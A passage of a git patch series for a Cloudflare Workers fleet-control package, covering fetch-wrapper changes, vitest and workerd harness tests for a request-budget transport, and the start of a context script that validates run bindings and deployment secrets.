b/packages/fleet-control/src/cloudflare-client.ts @@ -692,7 +692,8 @@ export class CloudflareProvisioningClient implements PlainWorkerRouteApi { method: writeReceipt, }); } - this.#fetch = options.fetch ?? fetch; + const fetchFn = options.fetch ?? fetch; + this.#fetch = (input, init) => fetchFn(input, init); this.#requestTimeoutMs = options.requestTimeoutMs ?? 60_000; if ( !Number.isSafeInteger(this.#requestTimeoutMs) || diff --git a/packages/fleet-control/src/plain-worker-backend.ts b/packages/fleet-control/src/plain-worker-backend.ts index 4ada0e7f..629c2da8 100644 --- a/packages/fleet-control/src/plain-worker-backend.ts +++ b/packages/fleet-control/src/plain-worker-backend.ts @@ -273,7 +273,8 @@ export class PlainWorkerBackend implements ProvisioningBackend { } this.#api = options.api; this.#identityCaller = options.identityCaller; - this.#fetch = options.fetch ?? fetch; + const fetchFn = options.fetch ?? fetch; + this.#fetch = (input, init) => fetchFn(input, init); this.#maintenanceRequestTimeoutMs = maintenanceRequestTimeoutMs; this.#clock = options.clock ?? Date.now; const advanceDecommissionAttachmentScan = diff --git a/packages/fleet-control/src/workers-for-platforms-backend.ts b/packages/fleet-control/src/workers-for-platforms-backend.ts index 951ef1c8..f80d8dda 100644 --- a/packages/fleet-control/src/workers-for-platforms-backend.ts +++ b/packages/fleet-control/src/workers-for-platforms-backend.ts @@ -470,7 +470,8 @@ export class WorkersForPlatformsBackend implements ProvisioningBackend { } const client = options.client; this.#client = client; - this.#fetch = options.fetch ?? fetch; + const fetchFn = options.fetch ?? fetch; + this.#fetch = (input, init) => fetchFn(input, init); this.#hostRoutingKvId = options.hostRoutingKvId; this.#auditQueueName = options.auditQueueName; this.#maintenanceRequestTimeoutMs = diff --git a/packages/fleet-control/test/direct-reference-transport.test.ts b/packages/fleet-control/test/direct-reference-transport.test.ts new file mode 100644 index 00000000..140b6b15 --- /dev/null +++ b/packages/fleet-control/test/direct-reference-transport.test.ts @@ -0,0 +1,379 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import Cloudflare from 'cloudflare'; +import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest'; +import { createTestHarness, type TestHarness } from 'wrangler'; +import { DIRECT_REFERENCE_PATH } from '../scripts/direct-reference-contract.mjs'; +import { handleDirectReferenceHttpRequest } from '../scripts/direct-reference-http.js'; +import { + DIRECT_REFERENCE_LEASE, + DirectReferenceTransport, + type DirectReferenceTransportOptions, +} from '../scripts/direct-reference-transport.js'; + +const runtime = { + requestTimeoutMs: 1000, + invocationTimeoutMs: 5000, + maxProviderRequests: 9, +}; + +function fixture(overrides: Partial = {}) { + const nativeFetch = vi.fn(async () => new Response('fixture')); + const abort = new AbortController(); + const transport = new DirectReferenceTransport({ + runtime, + startedAt: performance.now(), + signal: abort.signal, + fetch: nativeFetch, + ...overrides, + }); + return { transport, nativeFetch, abort }; +} + +describe('direct reference transport', () => { + it('shares concurrent provider/maintenance counts and permits the last allowed attempt', async () => { + const { transport, nativeFetch } = fixture(); + await Promise.all( + Array.from({ length: 9 }, (_, i) => + (i % 2 ? transport.maintenanceFetch : transport.providerFetch)( + 'https://fixture.test', + ), + ), + ); + expect(nativeFetch).toHaveBeenCalledTimes(9); + expect(transport.snapshot()).toMatchObject({ + providerAttempts: 5, + maintenanceAttempts: 4, + failure: null, + }); + expect(() => transport.assertWithinBudget()).not.toThrow(); + await expect( + transport.maintenanceFetch('https://fixture.test'), + ).rejects.toMatchObject({ code: 'budget-exhausted' }); + await expect( + transport.providerFetch('https://fixture.test'), + ).rejects.toMatchObject({ code: 'budget-exhausted' }); + expect(nativeFetch).toHaveBeenCalledTimes(9); + expect(transport.snapshot().failure).toBe('attempts'); + expect(() => transport.assertWithinBudget()).toThrow('budget-exhausted'); + }); + + it('counts actual Cloudflare SDK retries separately', async () => { + const { transport, nativeFetch } = fixture(); + nativeFetch.mockImplementation(async () => + nativeFetch.mock.calls.length < 3 + ? Response.json( + { + success: false, + errors: [{ code: 1000, message: 'fixture retry' }], + }, + { status: 429, headers: { 'retry-after-ms': '1' } }, + ) + : Response.json({ + success: true, + errors: [], + result: { subdomain: 'fixture' }, + }), + ); + const sdk = new Cloudflare({ + apiToken: 'inert-test-token', + baseURL: 'https://api.cloudflare.com/client/v4', + fetch: transport.providerFetch, + maxRetries: 2, + logLevel: 'off', + }); + expect( + await sdk.workers.subdomains.get({ account_id: 'account' }), + ).toMatchObject({ subdomain: 'fixture' }); + expect(nativeFetch).toHaveBeenCalledTimes(3); + expect(transport.snapshot()).toMatchObject({ + providerAttempts: 3, + maintenanceAttempts: 0, + failure: null, + }); + }); + + it('does not charge the SDK local FormData probe as HTTP', async () => { + const { transport, nativeFetch } = fixture(); + await transport.providerFetch('data:,'); + expect(nativeFetch).toHaveBeenCalledTimes(1); + expect(transport.snapshot()).toMatchObject({ + providerAttempts: 0, + maintenanceAttempts: 0, + failure: null, + }); + await expect( + transport.providerFetch('file:///fixture'), + ).rejects.toMatchObject({ code: 'operation-refused' }); + expect(nativeFetch).toHaveBeenCalledTimes(1); + }); + + it('preserves request inputs and rejects implicit redirects', async () => { + const { transport, nativeFetch } = fixture(); + nativeFetch.mockImplementation(async (input, init) => { + const normalized = new Request(input, init); + expect(normalized.method).toBe('POST'); + expect(normalized.headers.get('authorization')).toBe( + 'Bearer fixture-token', + ); + expect(normalized.redirect).toBe('error'); + expect(await normalized.text()).toBe('fixture-body'); + return new Response('done'); + }); + await transport.providerFetch( + new Request('https://fixture.test', { + method: 'POST', + headers: { authorization: 'Bearer fixture-token' }, + body: 'fixture-body', + redirect: 'follow', + }), + ); + expect(transport.snapshot().providerAttempts).toBe(1); + }); + + it('checks elapsed time before delegation even when no timer has fired', async () => { + const now = vi.spyOn(performance, 'now').mockReturnValue(0); + try { + const { transport, nativeFetch } = fixture({ startedAt: 0 }); + now.mockReturnValue(5000); + await expect( + transport.providerFetch('https://fixture.test'), + ).rejects.toMatchObject({ code: 'budget-exhausted' }); + expect(nativeFetch).not.toHaveBeenCalled(); + expect(transport.snapshot().failure).toBe('deadline'); + } finally { + now.mockRestore(); + } + }); + + it('rechecks time after preparing the native request signal', async () => { + const now = vi.spyOn(performance, 'now').mockReturnValue(0); + const nativeTimeout = AbortSignal.timeout.bind(AbortSignal); + const timeout = vi + .spyOn(AbortSignal, 'timeout') + .mockImplementation((ms) => { + now.mockReturnValue(5000); + return nativeTimeout(ms); + }); + try { + const { transport, nativeFetch } = fixture({ startedAt: 0 }); + await expect( + transport.providerFetch('https://fixture.test'), + ).rejects.toMatchObject({ code: 'budget-exhausted' }); + expect(nativeFetch).not.toHaveBeenCalled(); + } finally { + timeout.mockRestore(); + now.mockRestore(); + } + }); + + it('keeps operator ceilings below the real lease TTL', () => { + const { transport } = fixture({ + runtime: { + requestTimeoutMs: 2_147_483_647, + invocationTimeoutMs: 2_147_483_647, + maxProviderRequests: 9, + }, + }); + expect(transport.effectiveRequestTimeoutMs).toBe( + DIRECT_REFERENCE_LEASE.leaseTtlMs - 1, + ); + expect(DIRECT_REFERENCE_LEASE.leaseRenewalIntervalMs).toBeLessThan( + DIRECT_REFERENCE_LEASE.leaseTtlMs, + ); + expect( + fixture({ runtime: { ...runtime, invocationTimeoutMs: 30 } }).transport + .effectiveRequestTimeoutMs, + ).toBe(30); + }); + + it('retains per-request timeout through response body reads', async () => { + const { transport, nativeFetch } = fixture({ + runtime: { ...runtime, requestTimeoutMs: 25 }, + }); + nativeFetch.mockImplementation( + async (_input, init) => + new Response( + new ReadableStream({ + start(controller) { + init?.signal?.addEventListener( + 'abort', + () => controller.error(new Error('body-aborted')), + { once: true }, + ); + }, + }), + ), + ); + const response = await transport.maintenanceFetch('https://fixture.test'); + await expect(response.text()).rejects.toThrow('body-aborted'); + expect(transport.snapshot()).toMatchObject({ + maintenanceAttempts: 1, + failure: null, + }); + }); + + it('propagates the original request signal', async () => { + const { transport, nativeFetch } = fixture(); + const controller = new AbortController(); + nativeFetch.mockImplementation( + async (_input, init) => + new Response( + new ReadableStream({ + start(body) { + init?.signal?.addEventListener( + 'abort', + () => body.error(new Error('original-abort')), + { once: true }, + ); + }, + }), + ), + ); + const response = await transport.providerFetch('https://fixture.test', { + signal: controller.signal, + }); + controller.abort(); + await expect(response.text()).rejects.toThrow('original-abort'); + expect(transport.snapshot().failure).toBeNull(); + }); + + it('aborts active fetches and refuses more on invocation cancellation', async () => { + const { transport, nativeFetch, abort } = fixture(); + nativeFetch.mockImplementation( + async (_input, init) => + new Promise((_resolve, reject) => { + init?.signal?.addEventListener( + 'abort', + () => reject(new Error('invocation-aborted')), + { once: true }, + ); + }), + ); + const pending = transport.providerFetch('https://fixture.test'); + abort.abort(); + await expect(pending).rejects.toThrow('invocation-aborted'); + await expect( + transport.maintenanceFetch('https://fixture.test'), + ).rejects.toMatchObject({ code: 'budget-exhausted' }); + expect(nativeFetch).toHaveBeenCalledTimes(1); + expect(transport.snapshot().failure).toBe('aborted'); + }); + + it('keeps attempt exhaustion sticky after a caught transport error', async () => { + let retained = false; + const nativeFetch = vi.fn( + async () => new Response('fixture'), + ); + const body = JSON.stringify({ + contractVersion: 1, + configSha256: 'a'.repeat(64), + action: { kind: 'control-read' }, + }); + const response = await handleDirectReferenceHttpRequest( + new Request(`https://fixture.test${DIRECT_REFERENCE_PATH}`, { + method: 'POST', + headers: { authorization: 'Bearer test' }, + body, + }), + { + invokeSecret: 'test', + configSha256: 'a'.repeat(64), + invocationTimeoutMs: 5000, + dispatch: async (_action, signal) => { + const transport = new DirectReferenceTransport({ + runtime, + startedAt: performance.now(), + signal, + fetch: nativeFetch, + }); + for (let i = 0; i < 10; i++) + await transport + .providerFetch('https://fixture.test') + .catch(() => undefined); + retained = true; + transport.assertWithinBudget(); + return { status: 'complete' }; + }, + }, + ); + expect(retained).toBe(true); + expect(nativeFetch).toHaveBeenCalledTimes(9); + expect(response.status).toBe(503); + expect(await response.json()).toMatchObject({ + ok: false, + error: { code: 'budget-exhausted' }, + }); + }); +}); + +describe('direct reference transport inside workerd', () => { + let directory: string; + let server: TestHarness; + beforeAll(async () => { + directory = await mkdtemp(join(tmpdir(), 'direct-transport-')); + const main = join(directory, 'worker.ts'); + await writeFile( + main, + `import {DirectReferenceTransport} from ${JSON.stringify(fileURLToPath(new URL('../scripts/direct-reference-transport.ts', import.meta.url)))}; + export default {async fetch(request){ + const mode=new URL(request.url).searchParams.get('mode');let calls=0,aborted=false; + const transport=new DirectReferenceTransport({runtime:{requestTimeoutMs:25,invocationTimeoutMs:5000,maxProviderRequests:9},startedAt:performance.now(),signal:request.signal,fetch:async(_input,init)=>{ + calls++; + return mode==='body'?new Response(new ReadableStream({start(c){init.signal.addEventListener('abort',()=>{aborted=true;c.error(new Error('fixture-abort'));},{once:true});}})):new Response('fixture'); + }}); + if(mode==='body'){const response=await transport.maintenanceFetch('https://fixture.test');await response.text().catch(()=>{});} + else{await transport.providerFetch('data:,');for(let i=0;i<10;i++)await (i%2?transport.maintenanceFetch:transport.providerFetch)('https://fixture.test').catch(()=>{});} + return Response.json({calls,aborted,metrics:transport.snapshot()}); + }};`, + ); + server = createTestHarness({ + root: directory, + workers: [ + { + config: { + name: 'direct-transport-harness', + main, + compatibility_date: '2026-08-06', + compatibility_flags: ['nodejs_compat'], + }, + }, + ], + }); + await server.listen(); + }, 30_000); + afterAll(async () => { + try { + await server?.close(); + } finally { + if (directory) await rm(directory, { recursive: true, force: true }); + } + }, 30_000); + it('shares actual HTTP counts without counting the data probe', async () => { + const response = await server.getWorker().fetch('https://fixture.test'); + expect(response.status).toBe(200); + expect(await response.json()).toMatchObject({ + calls: 10, + metrics: { + providerAttempts: 5, + maintenanceAttempts: 4, + failure: 'attempts', + }, + }); + }); + it('aborts a maintenance body after headers', async () => { + const response = await server + .getWorker() + .fetch('https://fixture.test?mode=body'); + expect(response.status).toBe(200); + expect(await response.json()).toMatchObject({ + calls: 1, + aborted: true, + metrics: { maintenanceAttempts: 1, failure: null }, + }); + }); +}); diff --git a/packages/fleet-control/test/fetch-receiver.harness.test.ts b/packages/fleet-control/test/fetch-receiver.harness.test.ts new file mode 100644 index 00000000..f8fd4254 --- /dev/null +++ b/packages/fleet-control/test/fetch-receiver.harness.test.ts @@ -0,0 +1,132 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { createTestHarness, type TestHarness } from 'wrangler'; + +describe('native Worker fetch receivers', { timeout: 30_000 }, () => { + let directory: string; + let server: TestHarness; + beforeAll(async () => { + directory = await mkdtemp(join(tmpdir(), 'fleet-fetch-receiver-')); + const main = join(directory, 'worker.ts'); + const source = (relative: string) => + JSON.stringify(fileURLToPath(new URL(relative, import.meta.url))); + await writeFile( + main, + ` +import {CloudflareProvisioningClient} from ${source('../src/cloudflare-client.ts')}; +import {PlainWorkerBackend} from ${source('../src/plain-worker-backend.ts')}; +import {deploymentSpecDigest} from ${source('../src/spec-digest.ts')}; +import {PlainWorkerProvisioningApiFake} from ${source('./fixtures/plain-worker-provisioning-api-fake.ts')}; +import {DirectReferenceTransport} from ${source('../scripts/direct-reference-transport.ts')}; +export default {async fetch(request){ + const params=new URL(request.url).searchParams, kind=params.get('kind'), explicit=params.get('mode')==='explicit'; + const native=globalThis.fetch; + const spec={tenantTag:'acme',environment:'production',scriptName:'receiver-probe',databaseName:'receiver-probe',compatibilityDate:'2026-08-06',mainModule:'worker.js',modules:[{name:'worker.js',content:'export default {fetch(){}}'}],authoredBy:'platform',schemaVersion:1,migrations:[],durableObjectMigrations:[],durableObjectBindings:[],maintenanceBaseUrl:'https://control.example.test',routeHostname:'app.example.test'}; + const digest=deploymentSpecDigest(spec); + const version={versionId:'version-1',tag:digest,bindings:[{type:'d1',name:'DB',databaseId:'database-1'},...Object.entries({DEPLOYMENT_TENANT:spec.tenantTag,FLEET_ENVIRONMENT:spec.environment,FLEET_SCHEMA_VERSION:'1',FLEET_SPEC_DIGEST:digest,FLEET_INGRESS_CONTRACT:'guarded-object-v1'}).map(([name,value])=>({type:'plain-text',name,value}))]}; + const seen=[]; + const intercept=async function(input,init){ + const proof=await Reflect.apply(native,this,['data:,']);await proof.text(); + seen.push({status:proof.status,receiver:this===undefined?'undefined':'other',method:init?.method??'GET'}); + return kind==='client'?Response.json({success:true,errors:[],result:{uuid:'database-1',name:'receiver-probe'}}):Response.json({nextSweepAt:2000,nextPurgeAt:3000,alarmAt:2000,lastSweepAt:1000,deploymentSpecDigest:digest}); + }; + try{ + if(kind==='transport'){ + const transport=new DirectReferenceTransport({runtime:{requestTimeoutMs:1000,invocationTimeoutMs:5000,maxProviderRequests:9},startedAt:performance.now(),signal:request.signal,...(explicit?{fetch:native}:{})}); + const result=await transport.providerFetch('data:,');await result.text(); + return Response.json({ok:true,status:result.status,metrics:transport.snapshot()}); + } + globalThis.fetch=intercept; + if(kind==='client'){ + const client=new CloudflareProvisioningClient({plane:'plain-worker',accountId:'account',apiToken:'inert',requestTimeoutMs:1000,rateCoordinator:{async acquire(){}},...(explicit?{fetch:intercept}:{})}); + const result=await client.getDatabase('database-1'); + return Response.json({ok:true,result,seen}); + } + const api=new PlainWorkerProvisioningApiFake('per-request',1000); + api.versions.set(spec.scriptName,[version]);api.deployments.set(spec.scriptName,{versions:[{versionId:'version-1',percentage:100}]}); + const backend=new PlainWorkerBackend({api,identityCaller:'receiver-probe',maintenanceRequestTimeoutMs:1000,...(explicit?{fetch:intercept}:{})}); + const result=kind==='ensure'?await backend.ensureMaintenance(spec,'x'.repeat(32),api.fence(),'version-1'):await backend.inspect(spec,'x'.repeat(32),'version-1'); + return Response.json({ok:true,digest:kind==='ensure'?result.deploymentSpecDigest:result.maintenance.deploymentSpecDigest,seen}); + }catch(error){return Response.json({ok:false,error:String(error),seen});} + finally{globalThis.fetch=native;} +}};`, + ); + server = createTestHarness({ + root: directory, + workers: [ + { + config: { + name: 'fleet-fetch-receiver', + main, + compatibility_date: '2026-08-06', + compatibility_flags: ['nodejs_compat'], + }, + }, + ], + }); + await server.listen(); + }, 30_000); + afterAll(async () => { + try { + await server?.close(); + } finally { + if (directory) await rm(directory, { recursive: true, force: true }); + } + }, 30_000); + + it.each([ + 'default', + 'explicit', + ])('supports %s native reference transport', async (mode) => { + const response = await server + .getWorker() + .fetch(`https://fixture.test?kind=transport&mode=${mode}`); + expect(response.status).toBe(200); + expect(await response.json()).toMatchObject({ + ok: true, + status: 200, + metrics: { providerAttempts: 0, maintenanceAttempts: 0 }, + }); + }); + it.each([ + 'default', + 'explicit', + ])('supports %s native client fetch without HTTP', async (mode) => { + const response = await server + .getWorker() + .fetch(`https://fixture.test?kind=client&mode=${mode}`); + expect(response.status).toBe(200); + expect(await response.json()).toMatchObject({ + ok: true, + result: { id: 'database-1', name: 'receiver-probe', created: false }, + seen: [{ status: 200, receiver: 'undefined', method: 'GET' }], + }); + }); + it.each([ + ['ensure', 'default'], + ['ensure', 'explicit'], + ['inspect', 'default'], + ['inspect', 'explicit'], + ])('supports %s with %s native maintenance fetch', async (kind, mode) => { + const response = await server + .getWorker() + .fetch(`https://fixture.test?kind=${kind}&mode=${mode}`); + expect(response.status).toBe(200); + expect(await response.json()).toMatchObject({ + ok: true, + digest: expect.stringMatching(/^[a-f0-9]{64}$/), + seen: [ + { + status: 200, + receiver: 'undefined', + method: kind === 'ensure' ? 'POST' : 'GET', + }, + ], + }); + }); +}); diff --git a/packages/fleet-control/test/workers-for-platforms-backend.test.ts b/packages/fleet-control/test/workers-for-platforms-backend.test.ts index b4847870..1c7ab068 100644 --- a/packages/fleet-control/test/workers-for-platforms-backend.test.ts +++ b/packages/fleet-control/test/workers-for-platforms-backend.test.ts @@ -2800,37 +2800,52 @@ describe('WorkersForPlatformsBackend', () => { expect(client.mutationFenceEntries).toBe(1); }); - it('uses authenticated fixed maintenance endpoints', async () => { + it.each([ + 'injected', + 'default', + ] as const)('uses authenticated fixed maintenance endpoints with %s fetch', async (selection) => { const fetch = vi.fn(attestedHealthResponse); - const backend = new WorkersForPlatformsBackend({ - namespacedState: NAMESPACED_STATE, - client: new FakeApi(), - fetch, - hostRoutingKvId: 'host-routes', - platformProfileFor: () => platformProfile(), - }); + if (selection === 'default') vi.stubGlobal('fetch', fetch); + try { + const backend = new WorkersForPlatformsBackend({ + namespacedState: NAMESPACED_STATE, + client: new FakeApi(), + ...(selection === 'injected' ? { fetch } : {}), + hostRoutingKvId: 'host-routes', + platformProfileFor: () => platformProfile(), + }); - await expect( - backend.ensureMaintenance( - deployment, - secrets.maintenanceAdmin, - fence, - 'etag-v1', - ), - ).resolves.toMatchObject({ armed: true, nextAlarmAt: 2_000 }); - await backend.inspect(deployment, secrets.maintenanceAdmin); + await expect( + backend.ensureMaintenance( + deployment, + secrets.maintenanceAdmin, + fence, + 'etag-v1', + ), + ).resolves.toMatchObject({ armed: true, nextAlarmAt: 2_000 }); + const live = await backend.inspect(deployment, secrets.maintenanceAdmin); + expect(live?.maintenance).toMatchObject({ + armed: true, + nextAlarmAt: 2_000, + }); + expect( + fetch.mock.contexts.map((context) => context === undefined), + ).toEqual([true, true]); - expect(String(fetch.mock.calls[0]?.[0])).toBe( - `https://control-acme.example.test/.well-known/anchorage/maintenance/acme/production/${externalReleaseScriptName(deployment)}/${deploymentSpecDigest(deployment)}/ensure-maintenance`, - ); - expect(String(fetch.mock.calls[1]?.[0])).toBe( - `https://control-acme.example.test/.well-known/anchorage/maintenance/acme/production/${externalReleaseScriptName(deployment)}/${deploymentSpecDigest(deployment)}/maintenance-status`, - ); - for (const [, init] of fetch.mock.calls) { - expect(new Headers(init?.headers).get('authorization')).toMatch( - /^Bearer ey/, + expect(String(fetch.mock.calls[0]?.[0])).toBe( + `https://control-acme.example.test/.well-known/anchorage/maintenance/acme/production/${externalReleaseScriptName(deployment)}/${deploymentSpecDigest(deployment)}/ensure-maintenance`, ); - expect(init?.signal).toBeInstanceOf(AbortSignal); + expect(String(fetch.mock.calls[1]?.[0])).toBe( + `https://control-acme.example.test/.well-known/anchorage/maintenance/acme/production/${externalReleaseScriptName(deployment)}/${deploymentSpecDigest(deployment)}/maintenance-status`, + ); + for (const [, init] of fetch.mock.calls) { + expect(new Headers(init?.headers).get('authorization')).toMatch( + /^Bearer ey/, + ); + expect(init?.signal).toBeInstanceOf(AbortSignal); + } + } finally { + if (selection === 'default') vi.unstubAllGlobals(); } }); From 2cdeed4ce4f3cf8e1acb7674467452bb0cbe06bc Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 01:56:51 +0400 Subject: [PATCH 113/169] test(fleet-control): exercise durable reference inventory --- .../fleet-control-worker-export-redirects.md | 5 + .../scripts/direct-reference-context.ts | 330 +++++++++++++ .../scripts/direct-reference-http.ts | 19 +- .../scripts/direct-reference-journal.ts | 2 + .../scripts/direct-reference-transport.ts | 16 +- .../scripts/direct-reference-worker.ts | 267 ++++++++++ .../scripts/tsconfig.direct-worker.json | 4 +- .../fleet-control/src/cloudflare-client.ts | 7 +- .../cloudflare-client-plain-worker.test.ts | 2 +- .../test/direct-reference-http.test.ts | 24 + .../test/direct-reference-transport.test.ts | 31 +- .../direct-reference-worker.harness.test.ts | 465 ++++++++++++++++++ .../test/fetch-receiver.harness.test.ts | 58 ++- 13 files changed, 1218 insertions(+), 12 deletions(-) create mode 100644 .changeset/fleet-control-worker-export-redirects.md create mode 100644 packages/fleet-control/scripts/direct-reference-context.ts create mode 100644 packages/fleet-control/scripts/direct-reference-worker.ts create mode 100644 packages/fleet-control/test/direct-reference-worker.harness.test.ts diff --git a/.changeset/fleet-control-worker-export-redirects.md b/.changeset/fleet-control-worker-export-redirects.md new file mode 100644 index 00000000..91919739 --- /dev/null +++ b/.changeset/fleet-control-worker-export-redirects.md @@ -0,0 +1,5 @@ +--- +'@proofoftech/fleet-control': patch +--- + +Use manual redirect handling for D1 export downloads so Worker fetch accepts the request and redirects remain rejected before export data is stored. diff --git a/packages/fleet-control/scripts/direct-reference-context.ts b/packages/fleet-control/scripts/direct-reference-context.ts new file mode 100644 index 00000000..f021b950 --- /dev/null +++ b/packages/fleet-control/scripts/direct-reference-context.ts @@ -0,0 +1,330 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { Buffer } from 'node:buffer'; +import { createHash } from 'node:crypto'; +import type { + Crypto, + D1Database, + R2Bucket, + FixedLengthStream as WorkerFixedLengthStream, +} from '@cloudflare/workers-types'; +import { D1FleetInventoryRunStore } from '@proofoftech/fleet-control'; +import { + type CloudflareControlPlane, + type CloudflareDeploymentSpec, + createCloudflareControlPlane, + D1FleetStateDatabase, + type DeploymentSecrets, + deploymentSpecDigest, + type FleetRecord, +} from '@proofoftech/fleet-control/cloudflare-control-plane'; +import type { DirectRunManifest } from './direct-credentialed-conformance-preflight.mjs'; +import { + type DirectFixtureRelease, + type DirectFixtureRole, + directDeploymentSpec, +} from './direct-credentialed-spec.js'; +import { DirectReferenceExecutionError } from './direct-reference-http.js'; +import { DirectReferenceJournal } from './direct-reference-journal.js'; +import { + DIRECT_REFERENCE_LEASE, + DirectReferenceTransport, +} from './direct-reference-transport.js'; + +declare const crypto: Crypto; +declare const FixedLengthStream: typeof WorkerFixedLengthStream; + +export interface DirectRunBinding { + readonly version: 1; + readonly accountId: string; + readonly fleetDatabaseId: string; + readonly quotaDatabaseId: string; + readonly exportBucketName: string; + readonly referenceModuleSetSha256: string; + readonly accountWorkersDevSubdomain: string; +} + +export interface DirectReferenceEnvironment { + readonly FLEET_DB: D1Database; + readonly QUOTA_DB: D1Database; + readonly EXPORTS: R2Bucket; + readonly CLOUDFLARE_API_TOKEN: string; + readonly FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET?: string; + readonly DIRECT_DEPLOYMENT_SECRETS: string; + readonly DIRECT_RUN_BINDING: string; +} + +export interface DirectReferenceContext { + readonly binding: DirectRunBinding; + readonly control: CloudflareControlPlane; + readonly journal: DirectReferenceJournal; + readonly inventoryStore: D1FleetInventoryRunStore; + readonly transport: DirectReferenceTransport; + readonly roleFor: (record: FleetRecord) => DirectFixtureRole; + readonly spec: ( + role: DirectFixtureRole, + release: DirectFixtureRelease, + ) => CloudflareDeploymentSpec; + readonly specFor: (record: FleetRecord) => CloudflareDeploymentSpec; + readonly secrets: (role: DirectFixtureRole) => DeploymentSecrets; +} + +function refused(): never { + throw new DirectReferenceExecutionError(); +} + +function object( + value: unknown, + keys: readonly string[], +): Record { + if (!value || typeof value !== 'object' || Array.isArray(value)) refused(); + const actual = Object.keys(value); + if ( + actual.length !== keys.length || + keys.some((key) => !Object.hasOwn(value, key)) + ) + refused(); + return value as Record; +} + +function json(value: unknown): unknown { + if (typeof value !== 'string' || Buffer.byteLength(value) > 256 * 1024) + refused(); + try { + return JSON.parse(value); + } catch { + return refused(); + } +} + +function identifier(value: unknown): string { + if ( + typeof value !== 'string' || + !value || + value !== value.trim() || + value.length > 128 || + [...value].some( + (character) => + character.charCodeAt(0) <= 31 || character.charCodeAt(0) === 127, + ) + ) + refused(); + return value; +} + +function parseBinding( + raw: string, + manifest: DirectRunManifest, +): DirectRunBinding { + const value = object(json(raw), [ + 'version', + 'accountId', + 'fleetDatabaseId', + 'quotaDatabaseId', + 'exportBucketName', + 'referenceModuleSetSha256', + 'accountWorkersDevSubdomain', + ]); + if (value.version !== 1) refused(); + const accountId = identifier(value.accountId); + const fleetDatabaseId = identifier(value.fleetDatabaseId); + const quotaDatabaseId = identifier(value.quotaDatabaseId); + const exportBucketName = identifier(value.exportBucketName); + const referenceModuleSetSha256 = identifier(value.referenceModuleSetSha256); + const accountWorkersDevSubdomain = identifier( + value.accountWorkersDevSubdomain, + ); + if ( + fleetDatabaseId === quotaDatabaseId || + exportBucketName !== manifest.names.exportBucket || + !/^[a-f0-9]{64}$/u.test(referenceModuleSetSha256) + ) + refused(); + return Object.freeze({ + version: 1, + accountId, + fleetDatabaseId, + quotaDatabaseId, + exportBucketName, + referenceModuleSetSha256, + accountWorkersDevSubdomain, + }); +} + +function parseSecrets(value: unknown): DeploymentSecrets { + const fields = object(value, [ + 'deploymentIdentity', + 'maintenanceAdmin', + 'application', + ]); + const application = object(fields.application, ['APP_PROBE_TOKEN']); + if ( + typeof fields.deploymentIdentity !== 'string' || + typeof fields.maintenanceAdmin !== 'string' || + typeof application.APP_PROBE_TOKEN !== 'string' + ) + refused(); + return Object.freeze({ + deploymentIdentity: fields.deploymentIdentity, + maintenanceAdmin: fields.maintenanceAdmin, + application: Object.freeze({ + APP_PROBE_TOKEN: application.APP_PROBE_TOKEN, + }), + }); +} + +export async function createDirectReferenceContext( + manifest: DirectRunManifest, + environment: DirectReferenceEnvironment, + invocation: Readonly<{ + startedAt: number; + signal: AbortSignal; + fetch?: typeof fetch; + }>, +): Promise { + const binding = parseBinding(environment.DIRECT_RUN_BINDING, manifest); + const apiToken = environment.CLOUDFLARE_API_TOKEN; + if (typeof apiToken !== 'string' || !apiToken || apiToken !== apiToken.trim()) + refused(); + const rawSecrets = environment.DIRECT_DEPLOYMENT_SECRETS; + const secretInput = object(json(rawSecrets), ['a', 'b', 'recovery']); + const secrets: Readonly> = + Object.freeze({ + a: parseSecrets(secretInput.a), + b: parseSecrets(secretInput.b), + recovery: parseSecrets(secretInput.recovery), + }); + const specs = new Map< + DirectFixtureRole, + ReadonlyMap + >(); + const digests = new Map< + DirectFixtureRole, + ReadonlyMap + >(); + for (const role of ['a', 'b', 'recovery'] as const) { + const recipes = new Map(); + const byDigest = new Map(); + for (const release of [ + 'initial', + 'next', + ...(role === 'recovery' ? ['failed-recovery' as const] : []), + ] as const) { + const spec = directDeploymentSpec( + manifest, + role, + release, + secrets[role], + binding, + ); + const digest = deploymentSpecDigest(spec); + if (byDigest.has(digest)) refused(); + recipes.set(release, spec); + byDigest.set(digest, spec); + } + specs.set(role, recipes); + digests.set(role, byDigest); + } + const transport = new DirectReferenceTransport({ + runtime: manifest.referenceRuntime, + startedAt: invocation.startedAt, + signal: invocation.signal, + fetch: invocation.fetch, + }); + transport.assertWithinBudget(); + const journal = new DirectReferenceJournal( + environment.FLEET_DB, + manifest.resourcePrefix, + JSON.stringify({ + configSha256: manifest.configSha256, + binding, + quotaScope: manifest.resourcePrefix, + tenantSecretsSha256: createHash('sha256') + .update(rawSecrets) + .digest('hex'), + }), + ); + await journal.readInterruption(); + transport.assertWithinBudget(); + const control = createCloudflareControlPlane({ + accountId: binding.accountId, + apiToken, + fleetDatabase: environment.FLEET_DB, + quotaDatabase: environment.QUOTA_DB, + quotaScope: manifest.resourcePrefix, + ...DIRECT_REFERENCE_LEASE, + requestTimeoutMs: transport.effectiveRequestTimeoutMs, + maintenanceRequestTimeoutMs: transport.effectiveRequestTimeoutMs, + fetch: transport.providerFetch, + maintenanceFetch: transport.maintenanceFetch, + databaseExports: { + bucket: environment.EXPORTS, + bucketName: binding.exportBucketName, + keyPrefix: `${manifest.resourcePrefix}/`, + streams: { DigestStream: crypto.DigestStream, FixedLengthStream }, + randomUUID: () => crypto.randomUUID(), + }, + }); + const inventoryStore = new D1FleetInventoryRunStore( + new D1FleetStateDatabase(environment.FLEET_DB), + { accountId: binding.accountId, ...DIRECT_REFERENCE_LEASE }, + ); + const roleFor = (record: FleetRecord): DirectFixtureRole => { + if ( + record.backend !== 'plain-worker' || + record.environment !== manifest.environment || + record.backendSwitchIntent || + record.migrationIntent || + record.activeRelease || + record.pendingRelease || 